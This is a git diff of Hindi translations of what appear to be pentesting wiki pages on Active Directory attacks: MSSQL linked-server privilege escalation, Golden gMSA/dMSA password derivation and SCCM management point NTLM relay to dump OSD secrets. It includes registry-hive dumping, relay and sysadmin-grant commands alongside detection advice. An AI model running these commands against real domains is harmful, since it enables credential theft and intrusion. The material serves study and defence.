**Windows** से आप लिंक भी ढूंढ सकते हैं और **MSSQL क्लाइंट जैसे** [**HeidiSQL**](https://www.heidisql.com) का उपयोग करके कमांड को मैन्युअल रूप से निष्पादित कर सकते हैं।
|
||||
**Windows** से आप लिंक खोज सकते हैं और **MSSQL क्लाइंट जैसे** [**HeidiSQL**](https://www.heidisql.com) का उपयोग करके कमांड को मैन्युअल रूप से निष्पादित कर सकते हैं।
|
||||
|
||||
_Windows प्रमाणीकरण का उपयोग करके लॉगिन करें:_
|
||||
|
||||
@ -245,7 +245,7 @@ EXEC sp_linkedservers;
|
||||
```
|
||||
.png>)
|
||||
|
||||
#### विश्वसनीय लिंक में क्वेरी निष्पादित करें
|
||||
#### भरोसेमंद लिंक में क्वेरी निष्पादित करें
|
||||
|
||||
लिंक के माध्यम से क्वेरी निष्पादित करें (उदाहरण: नए सुलभ उदाहरण में अधिक लिंक खोजें):
|
||||
```sql
|
||||
@ -276,14 +276,14 @@ EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT
|
||||
```
|
||||
## स्थानीय विशेषाधिकार वृद्धि
|
||||
|
||||
**MSSQL स्थानीय उपयोगकर्ता** के पास आमतौर पर एक विशेष प्रकार का विशेषाधिकार होता है जिसे **`SeImpersonatePrivilege`** कहा जाता है। यह खाते को "प्रमाणीकरण के बाद एक ग्राहक का अनुकरण करने" की अनुमति देता है।
|
||||
**MSSQL स्थानीय उपयोगकर्ता** के पास आमतौर पर एक विशेष प्रकार का विशेषाधिकार होता है जिसे **`SeImpersonatePrivilege`** कहा जाता है। यह खाता "प्रमाणीकरण के बाद एक ग्राहक का अनुकरण" करने की अनुमति देता है।
|
||||
|
||||
कई लेखकों द्वारा विकसित एक रणनीति यह है कि एक SYSTEM सेवा को एक धोखाधड़ी या मैन-इन-द-मिडल सेवा के लिए प्रमाणीकरण करने के लिए मजबूर किया जाए जिसे हमलावर बनाता है। यह धोखाधड़ी सेवा तब SYSTEM सेवा का अनुकरण कर सकती है जबकि यह प्रमाणीकरण करने की कोशिश कर रही है।
|
||||
|
||||
[SweetPotato](https://github.com/CCob/SweetPotato) के पास इन विभिन्न तकनीकों का एक संग्रह है जिसे Beacon के `execute-assembly` कमांड के माध्यम से निष्पादित किया जा सकता है।
|
||||
|
||||
### SCCM प्रबंधन बिंदु NTLM रिले (OSD गुप्त निष्कर्षण)
|
||||
देखें कि SCCM **प्रबंधन बिंदुओं** की डिफ़ॉल्ट SQL भूमिकाओं का उपयोग नेटवर्क एक्सेस खाता और कार्य-क्रम गुप्तों को सीधे साइट डेटाबेस से डंप करने के लिए कैसे किया जा सकता है:
|
||||
देखें कि SCCM **प्रबंधन बिंदुओं** की डिफ़ॉल्ट SQL भूमिकाओं का उपयोग नेटवर्क एक्सेस खाता और कार्य-क्रम गुप्त को सीधे साइट डेटाबेस से डंप करने के लिए कैसे किया जा सकता है:
|
||||
{{#ref}}
|
||||
sccm-management-point-relay-sql-policy-secrets.md
|
||||
{{#endref}}
|
||||
|
@ -4,8 +4,7 @@
|
||||
|
||||
## अवलोकन
|
||||
|
||||
Windows Managed Service Accounts (MSA) विशेष प्रिंसिपल होते हैं जो सेवाओं को बिना पासवर्ड को मैन्युअल रूप से प्रबंधित किए चलाने के लिए डिज़ाइन किए गए हैं।
|
||||
इसके दो प्रमुख प्रकार हैं:
|
||||
Windows Managed Service Accounts (MSA) विशेष प्रिंसिपल होते हैं जो सेवाओं को बिना पासवर्ड को मैन्युअल रूप से प्रबंधित किए चलाने के लिए डिज़ाइन किए गए हैं। इसके दो प्रमुख प्रकार हैं:
|
||||
|
||||
1. **gMSA** – समूह Managed Service Account – इसे उन कई होस्ट पर उपयोग किया जा सकता है जो इसके `msDS-GroupMSAMembership` विशेषता में अधिकृत हैं।
|
||||
2. **dMSA** – प्रतिनिधि Managed Service Account – gMSA का (पूर्वावलोकन) उत्तराधिकारी, जो समान क्रिप्टोग्राफी पर निर्भर करता है लेकिन अधिक बारीक प्रतिनिधित्व परिदृश्यों की अनुमति देता है।
|
||||
@ -29,14 +28,14 @@ Windows Managed Service Accounts (MSA) विशेष प्रिंसिप
|
||||
|
||||
### पूर्वापेक्षाएँ
|
||||
|
||||
1. **एक DC** (या एंटरप्राइज एडमिन) का **वन-वन स्तर का समझौता**, या वन-वन में DCs में से एक पर `SYSTEM` पहुंच।
|
||||
1. **एक DC** (या एंटरप्राइज एडमिन) का **वन-स्तरीय समझौता**, या वन में DCs में से एक पर `SYSTEM` पहुंच।
|
||||
2. सेवा खातों को सूचीबद्ध करने की क्षमता (LDAP पढ़ें / RID ब्रूट-फोर्स)।
|
||||
3. [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) या समकक्ष कोड चलाने के लिए .NET ≥ 4.7.2 x64 वर्कस्टेशन।
|
||||
|
||||
### Golden gMSA / dMSA
|
||||
##### चरण 1 – KDS रूट कुंजी निकालें
|
||||
|
||||
किसी भी DC से डंप (वॉल्यूम शैडो कॉपी / कच्चे SAM+SECURITY हाइव या दूरस्थ रहस्य):
|
||||
किसी भी DC से डंप करें (वॉल्यूम शैडो कॉपी / कच्चे SAM+SECURITY हाइव या दूरस्थ रहस्य):
|
||||
```cmd
|
||||
reg save HKLM\SECURITY security.hive
|
||||
reg save HKLM\SYSTEM system.hive
|
||||
@ -52,7 +51,7 @@ GoldendMSA.exe kds
|
||||
# With GoldenGMSA
|
||||
GoldenGMSA.exe kdsinfo
|
||||
```
|
||||
`RootKey` (GUID नाम) के रूप में लेबल किया गया base64 स्ट्रिंग बाद के चरणों में आवश्यक है।
|
||||
`RootKey` (GUID नाम) लेबल वाला base64 स्ट्रिंग बाद के चरणों में आवश्यक है।
|
||||
|
||||
##### चरण 2 – gMSA / dMSA ऑब्जेक्ट्स की गणना करें
|
||||
|
||||
@ -84,11 +83,11 @@ GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd
|
||||
```powershell
|
||||
GoldendMSA.exe wordlist -s <SID> -d example.local -f example.local -k <KDSKeyGUID>
|
||||
```
|
||||
यह उपकरण उम्मीदवार पासवर्ड की गणना करता है और उनके base64 blob की तुलना वास्तविक `msDS-ManagedPassword` विशेषता से करता है - मिलान सही GUID को प्रकट करता है।
|
||||
यह उपकरण उम्मीदवार पासवर्ड की गणना करता है और उनके base64 ब्लॉब की तुलना वास्तविक `msDS-ManagedPassword` विशेषता से करता है - मिलान सही GUID को प्रकट करता है।
|
||||
|
||||
##### चरण 4 – ऑफ़लाइन पासवर्ड गणना और रूपांतरण
|
||||
|
||||
एक बार जब ManagedPasswordID ज्ञात हो जाता है, तो मान्य पासवर्ड एक कमांड की दूरी पर है:
|
||||
एक बार जब ManagedPasswordID ज्ञात हो जाता है, तो मान्य पासवर्ड एक कमांड की दूरी पर होता है:
|
||||
```powershell
|
||||
# derive base64 password
|
||||
GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID> -i <KDSRootKey ID>
|
||||
@ -101,8 +100,8 @@ The resulting hashes can be injected with **mimikatz** (`sekurlsa::pth`) or **Ru
|
||||
* Tier-0 प्रशासकों के लिए **DC बैकअप और रजिस्ट्री हाइव पढ़ने** की क्षमताओं को सीमित करें।
|
||||
* DCs पर **Directory Services Restore Mode (DSRM)** या **Volume Shadow Copy** निर्माण की निगरानी करें।
|
||||
* सेवा खातों के `CN=Master Root Keys,…` और `userAccountControl` ध्वजों के पढ़ने / परिवर्तनों का ऑडिट करें।
|
||||
* असामान्य **base64 पासवर्ड लेखन** या होस्टों के बीच अचानक सेवा पासवर्ड पुन: उपयोग का पता लगाएं।
|
||||
* जहां Tier-0 अलगाव संभव नहीं है, उच्च-विशेषाधिकार gMSAs को नियमित यादृच्छिक घुमाव के साथ **क्लासिक सेवा खातों** में परिवर्तित करने पर विचार करें।
|
||||
* असामान्य **base64 पासवर्ड लिखने** या होस्टों के बीच अचानक सेवा पासवर्ड पुन: उपयोग का पता लगाएं।
|
||||
* जहां Tier-0 अलगाव संभव नहीं है, उच्च-privilege gMSAs को नियमित यादृच्छिक रोटेशन के साथ **क्लासिक सेवा खातों** में परिवर्तित करने पर विचार करें।
|
||||
|
||||
## Tooling
|
||||
|
||||
|
@ -21,7 +21,7 @@
|
||||
---
|
||||
|
||||
## 1. बिना प्रमाणीकरण वाले MP एंडपॉइंट्स की गणना करना
|
||||
MP ISAPI एक्सटेंशन **GetAuth.dll** कई पैरामीटर उजागर करता है जिन्हें प्रमाणीकरण की आवश्यकता नहीं होती (जब तक कि साइट केवल PKI न हो):
|
||||
MP ISAPI एक्सटेंशन **GetAuth.dll** कई पैरामीटर को उजागर करता है जिन्हें प्रमाणीकरण की आवश्यकता नहीं होती (जब तक कि साइट केवल PKI न हो):
|
||||
|
||||
| पैरामीटर | उद्देश्य |
|
||||
|-----------|---------|
|
||||
@ -51,7 +51,7 @@ python3 PetitPotam.py 10.10.10.20 10.10.10.99 \
|
||||
```
|
||||
---
|
||||
|
||||
## 3. OSD नीतियों की पहचान करें संग्रहीत प्रक्रियाओं के माध्यम से
|
||||
## 3. संग्रहीत प्रक्रियाओं के माध्यम से OSD नीतियों की पहचान करें
|
||||
SOCKS प्रॉक्सी के माध्यम से कनेक्ट करें (डिफ़ॉल्ट रूप से पोर्ट 1080):
|
||||
```bash
|
||||
proxychains mssqlclient.py CONTOSO/MP01$@10.10.10.15 -windows-auth
|
||||
@ -81,11 +81,11 @@ EXEC MP_GetMachinePolicyAssignments N'e9cd8c06-cc50-4b05-a4b2-9c9b5a51bbe7', N''
|
||||
```sql
|
||||
EXEC MP_GetPolicyBody N'{083afd7a-b0be-4756-a4ce-c31825050325}', N'2.00';
|
||||
```
|
||||
> महत्वपूर्ण: SSMS में "अधिकतम वर्ण पुनर्प्राप्त" बढ़ाएँ (>65535) अन्यथा ब्लॉब काट दिया जाएगा।
|
||||
> महत्वपूर्ण: SSMS में "अधिकतम वर्ण पुनर्प्राप्त" बढ़ाएँ (>65535) अन्यथा blob काट दिया जाएगा।
|
||||
|
||||
---
|
||||
|
||||
## 4. ब्लॉब को डिकोड और डिक्रिप्ट करें
|
||||
## 4. blob को डिकोड और डिक्रिप्ट करें
|
||||
```bash
|
||||
# Remove the UTF-16 BOM, convert from hex → XML
|
||||
echo 'fffe3c003f0078…' | xxd -r -p > policy.xml
|
||||
@ -93,7 +93,7 @@ echo 'fffe3c003f0078…' | xxd -r -p > policy.xml
|
||||
# Decrypt with PXEthief (7 = decrypt attribute value)
|
||||
python3 pxethief.py 7 $(xmlstarlet sel -t -v "//value/text()" policy.xml)
|
||||
```
|
||||
पुनर्प्राप्त किए गए रहस्यों का उदाहरण:
|
||||
Recovered secrets example:
|
||||
```
|
||||
OSDJoinAccount : CONTOSO\\joiner
|
||||
OSDJoinPassword: SuperSecret2025!
|
||||
@ -127,11 +127,11 @@ AND pe.permission_name='EXECUTE';
|
||||
---
|
||||
|
||||
## 6. पहचान और हार्डनिंग
|
||||
1. **MP लॉगिन की निगरानी करें** – कोई भी MP कंप्यूटर खाता यदि किसी IP से लॉगिन कर रहा है जो इसका होस्ट नहीं है ≈ रिले।
|
||||
2. साइट डेटाबेस पर **प्रामाणिकता के लिए विस्तारित सुरक्षा (EPA)** सक्षम करें (`PREVENT-14`)।
|
||||
1. **MP लॉगिन की निगरानी करें** – कोई भी MP कंप्यूटर खाता यदि किसी IP से लॉगिन करता है जो इसका होस्ट नहीं है ≈ रिले।
|
||||
2. साइट डेटाबेस पर **प्रमाणीकरण के लिए विस्तारित सुरक्षा (EPA)** सक्षम करें (`PREVENT-14`)।
|
||||
3. अप्रयुक्त NTLM को निष्क्रिय करें, SMB साइनिंग को लागू करें, RPC को प्रतिबंधित करें (
|
||||
`PetitPotam`/`PrinterBug` के खिलाफ उपयोग की गई समान रोकथाम)।
|
||||
4. IPSec / आपसी-TLS के साथ MP ↔ DB संचार को हार्डन करें।
|
||||
4. MP ↔ DB संचार को IPSec / आपसी-TLS के साथ हार्डन करें।
|
||||
|
||||
---
|
||||
|
||||
@ -141,7 +141,7 @@ AND pe.permission_name='EXECUTE';
|
||||
../ntlm/README.md
|
||||
{{#endref}}
|
||||
|
||||
* MSSQL दुरुपयोग और पोस्ट-एक्सप्लॉइटेशन:
|
||||
* MSSQL दुरुपयोग और पोस्ट-एक्सप्लॉयटेशन:
|
||||
{{#ref}}
|
||||
abusing-ad-mssql.md
|
||||
{{#endref}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user